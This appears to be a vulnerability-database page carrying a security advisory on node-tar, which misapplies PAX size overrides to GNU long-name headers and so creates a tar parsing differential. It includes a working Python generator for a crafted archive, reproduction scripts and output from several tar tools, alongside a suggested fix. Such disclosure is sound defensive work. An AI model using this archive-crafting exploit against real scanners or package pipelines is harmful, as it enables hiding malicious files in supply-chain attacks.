"details": "### Summary\n\n`tar` (node-tar) applies a PAX extended header\u0027s `size=` record (and other PAX\noverrides) to the **next header entry of any type**, including intermediary\nmetadata headers such as a GNU long-name (`L`) or long-link (`K`) entry. Per\nPOSIX pax, a PAX extended header (`x`) describes the *next file entry*, not the\nintermediary extension headers that may sit between the `x` header and the file\nit annotates. Because node-tar lets the PAX `size` override the byte length of\nan intervening `L`/`K`/`x` header, an attacker can desynchronize node-tar\u0027s\nstream cursor relative to every other mainstream tar implementation\n(GNU tar, libarchive/bsdtar, Python `tarfile`, and the now-fixed `tar-rs` /\n`astral-tokio-tar`).\n\nThe result is a tar parser **interpretation differential** (CWE-436): a single\ncrafted archive yields a different set of members under node-tar than under the\nreference tar tools. An attacker can use this to hide a member from one parser\nwhile it is visible to another, which defeats security tooling whose scanner and\nextractor disagree on archive contents (e.g. a malware/secret scanner that lists\nentries with one library while a downstream step extracts with another). node-tar\nis one of the most widely deployed JavaScript tar libraries (it backs `npm`\u0027s own\npackage-tarball handling and is a transitive dependency of a very large fraction\nof the npm ecosystem), so the blast radius for \"files that extract differently\ndepending on the tool\" is broad.\n\nThis is the same root cause and fix that was just addressed upstream in the Rust\ntar ecosystem (`tar-rs` / `astral-tokio-tar`); node-tar carries the equivalent\ndefect and has no equivalent guard.\n\n### Impact\n\n- CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as\n the prior tar \"smuggling\" advisories GHSA-j5gw-2vrg-8fgx and\n GHSA-fp55-jw48-c537).\n- A crafted archive can present one logical member list to a tool that lists or\n scans with node-tar and a different member list to GNU tar / libarchive /\n Python tarfile (and vice versa). This lets a malicious file be hidden from a\n scanner that uses a different parser than the eventual extractor, or hidden\n from node-tar-based inspection while still landing on disk via a system `tar`.\n- No authentication is required; the only precondition is that a victim parses\n an attacker-supplied tar with node-tar. Tar archives are routinely fetched\n from untrusted sources (package registries, user uploads, CI artifacts,\n container layers).\n- Severity: Medium. Impact is integrity-of-archive-interpretation, not direct\n RCE; it is a building block for supply-chain / scanner-evasion attacks rather\n than a standalone code-execution primitive.\n\n### Vulnerable code (file:line)\n\n`src/header.ts` (compiled to `dist/esm/header.js:49` and\n`dist/commonjs/header.js:85` in the published `tar@7.5.15`):\n\n```ts\n// Header.decode(buf, off, ex, gex)\nthis.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)\n```\n\n`ex` is the currently-accumulated PAX **local** extended header and `gex` the\nPAX **global** header. The `size` override from `ex`/`gex` is applied\nunconditionally to whatever header is being decoded next \u2014 there is no check\nthat the header being decoded is a real *file* entry rather than an intermediary\nextension header.\n\n`src/parse.ts`, `[CONSUMEHEADER]` constructs the next header with the current\n`EX`/`GEX` applied:\n\n```ts\nconst header = new Header(chunk, position, this[EX], this[GEX])\n```\n\nand later branches on whether that header is a metadata entry. `this[EX]` is\ncleared only in the non-meta (real file) branch:\n\n```ts\nif (entry.meta) {\n // L / K / x / g metadata entries: this[EX] is left intact here\n if (entry.size \u003e this.maxMetaEntrySize) {\n entry.ignore = true\n this[STATE] = \u0027ignore\u0027\n entry.resume()\n } else if (entry.size \u003e 0) {\n this[META] = \u0027\u0027\n entry.on(\u0027data\u0027, c =\u003e (this[META] += c))\n this[STATE] = \u0027meta\u0027\n }\n} else {\n this[EX] = undefined // EX cleared only once a real file entry is reached\n}\n```\n\nWhen the stream is ordered `x (PAX, size=N) -\u003e L (GNU long-name) -\u003e file`, the\n`L` header is constructed with `this[EX]` still set, so its `size`/`remain`\nbecomes `N` instead of the `L` payload\u0027s true length. node-tar then consumes `N`\nbytes of \"metadata\" and resumes header parsing at the wrong offset, landing\nmid-stream. Every other mainstream parser applies the PAX `size` only to the\nfollowing *file* entry, so they stay synchronized.\n\nThe correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is\nto **not** apply PAX `size`/overrides when the entry being decoded is itself an\nextension header (`L` GNU long-name, `K` GNU long-link, `x` PAX local, `g` PAX\nglobal).\n\n### How input reaches the sink\n\n`tar.list()`, `tar.extract()`/`tar.x()`, and `tar.Parse`/`tar.Unpack` all route\nevery 512-byte header block through `Header.decode(...)` with the\ncurrently-accumulated `EX`/`GEX`. Any consumer that parses an attacker-supplied\narchive \u2014 `tar.list`, `tar.extract`, or piping into the streaming `Parser` \u2014\nreaches the sink. No options need to be enabled; the default code path is\naffected.\n\n### Proof of concept\n\nArchive layout (all standard, GNU-tar-producible blocks):\n\n```\nblock 0 : x header (PAX local extended, typeflag \u0027x\u0027), its own size = len(pax body)\nblock 1 : x payload : the single PAX record \"...size=2048\\n\"\nblock 2 : L header (GNU long-name \u0027././@LongLink\u0027), real size = 13\nblock 3 : L payload : \"longname.txt\\0\" (the long name for the next file)\nblock 4 : file header \u0027file_a\u0027, size = 16\nblock 5 : file_a body (16 bytes, zero-padded to 512)\nblock 6 : file header \u0027file_b\u0027, size = 16\nblock 7 : file_b body (16 bytes, zero-padded to 512)\n```\n\nGenerator (`make_tar.py`, pure stdlib, no external deps):\n\n```python\ndef hdr(name, size, typeflag):\n h = bytearray(512); name = name[:100]; h[0:len(name)] = name\n h[100:108] = b\u00270000644\\0\u0027; h[108:116] = b\u00270000000\\0\u0027; h[116:124] = b\u00270000000\\0\u0027\n h[124:136] = (\u0027%011o\\0\u0027 % size).encode(); h[136:148] = b\u002700000000000\\0\u0027\n h[156:157] = typeflag; h[257:263] = b\u0027ustar\\0\u0027; h[263:265] = b\u002700\u0027\n h[148:156] = b\u0027 \u0027 * 8\n cs = sum(h); h[148:156] = (\u0027%06o\\0 \u0027 % cs).encode()\n return bytes(h)\n\ndef pad(d):\n return d + b\u0027\\0\u0027 * ((512 - len(d) % 512) % 512)\n\ndef pax_record(key, val): # length-prefixed PAX record \"LEN key=val\\n\"\n body = b\u0027 %s=%s\\n\u0027 % (key.encode(), str(val).encode()); n = len(body)\n while True:\n s = str(n).encode() + body\n if len(s) == n: break\n n = len(s)\n return s\n\npax = pax_record(\u0027size\u0027, 2048) # malicious: claim size=2048 for the \"next\" entry\nout = hdr(b\u0027PaxHeaders/x\u0027, len(pax), b\u0027x\u0027) + pad(pax)\nout += hdr(b\u0027././@LongLink\u0027, 13, b\u0027L\u0027) + pad(b\u0027longname.txt\\0\u0027)\nout += hdr(b\u0027file_a\u0027, 16, b\u00270\u0027) + pad(b\u0027AAAA_file_a_body\u0027)\nout += hdr(b\u0027file_b\u0027, 16, b\u00270\u0027) + pad(b\u0027BBBB_file_b_body\u0027)\nout += b\u0027\\0\u0027 * 1024\nopen(\u0027pax-desync.tar\u0027, \u0027wb\u0027).write(out)\n```\n\nA negative-control archive is identical except the PAX record is\n`pax_record(\u0027comment\u0027, \u0027x\u0027)` (no `size=`), written to `pax-control.tar`.\n\n### End-to-end reproduction (against pinned version `tar@7.5.15`, latest release)\n\nInstall the published package into a clean project and parse both archives:\n\n```\n$ npm init -y \u003e/dev/null \u0026\u0026 npm install tar@7.5.15\n$ node -e \"console.log(require(\u0027tar/package.json\u0027).version)\"\n7.5.15\n$ grep -n \"ex?.size ?? gex?.size\" node_modules/tar/dist/esm/header.js\n49: this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);\n```\n\n`e2e.mjs`:\n\n```js\nimport * as tar from \u0027tar\u0027\nasync function listEntries(f){\n const got=[], warns=[]\n await tar.list({ file:f, onReadEntry:e=\u003e{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },\n onwarn:(code,_msg)=\u003ewarns.push(code) })\n return { got, warns }\n}\nconst mal = await listEntries(\u0027pax-desync.tar\u0027)\nconsole.log(\u0027MALICIOUS entries :\u0027, JSON.stringify(mal.got), \u0027warnings:\u0027, JSON.stringify(mal.warns))\nconst ctl = await listEntries(\u0027pax-control.tar\u0027)\nconsole.log(\u0027CONTROL entries :\u0027, JSON.stringify(ctl.got), \u0027warnings:\u0027, JSON.stringify(ctl.warns))\n```\n\nVerbatim output:\n\n```\n=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===\n\n[MALICIOUS] archive = x(PAX size=2048) -\u003e L(GNU longname \"longname.txt\") -\u003e file_a(16B) -\u003e file_b(16B)\n tar.list() entries : []\n tar.list() warnings: [\"TAR_ENTRY_INVALID\"]\n\n[NEGATIVE CONTROL] same archive, PAX record is \"comment=x\" (no size= override)\n tar.list() entries : [{\"path\":\"longname.txt\",\"size\":16,\"type\":\"File\"},{\"path\":\"file_b\",\"size\":16,\"type\":\"File\"}]\n tar.list() warnings: []\n```\n\nReference parsers on the **same** `pax-desync.tar`:\n\n```\n$ tar tvf pax-desync.tar\n-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # GNU tar\n\n$ bsdtar tvf pax-desync.tar\n-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # libarchive\n\n$ python3 -c \"import tarfile; print([m.name for m in tarfile.open(\u0027pax-desync.tar\u0027).getmembers()])\"\n[\u0027longname.txt\u0027] # Python tarfile\n```\n\nInterpretation differential: GNU tar, libarchive (bsdtar), and Python `tarfile`\nall extract the member `longname.txt` from `pax-desync.tar`, whereas node-tar\n`7.5.15` desynchronizes, raises `TAR_ENTRY_INVALID` (checksum failure from\nlanding mid-stream), and reports **zero** members. The negative control proves\nthe divergence is caused solely by the PAX `size=` override being applied to the\nintermediary `L` header \u2014 when the same archive carries a PAX record without\n`size=`, node-tar parses it identically to the reference tools\n(`longname.txt`, `file_b`).\n\n### Suggested fix\n\nWhen decoding a header, do not apply PAX `size` (or other PAX overrides) if the\nheader being decoded is itself an extension header. Concretely, in\n`src/parse.ts` clear/ignore `this[EX]` (and `this[GEX]` for `size`) when the\nheader\u0027s type is `ExtendedHeader`, `GlobalExtendedHeader`, `NextFileHasLongPath`\n(GNU `L`), or `NextFileHasLongLinkpath` (GNU `K`); equivalently, in\n`Header.decode`, gate the `ex?.size ?? gex?.size` override on the decoded type\nnot being one of those extension types. This mirrors the upstream Rust fix,\nwhich guards `pax_size` with\n`is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions`.\n\nA fix PR is being prepared against a private fork and will be linked here.\n\n### Fix PR\n\nTo be linked from a private fork of the repository (the fix will not be pushed\nto any public fork or to upstream during embargo).\n\n### Credits\n\nReported by tonghuaroot.",
"id": "GHSA-vmf3-w455-68vh",
"modified": "2026-06-15T17:19:42Z",
"published": "2026-06-15T17:19:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-vmf3-w455-68vh"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.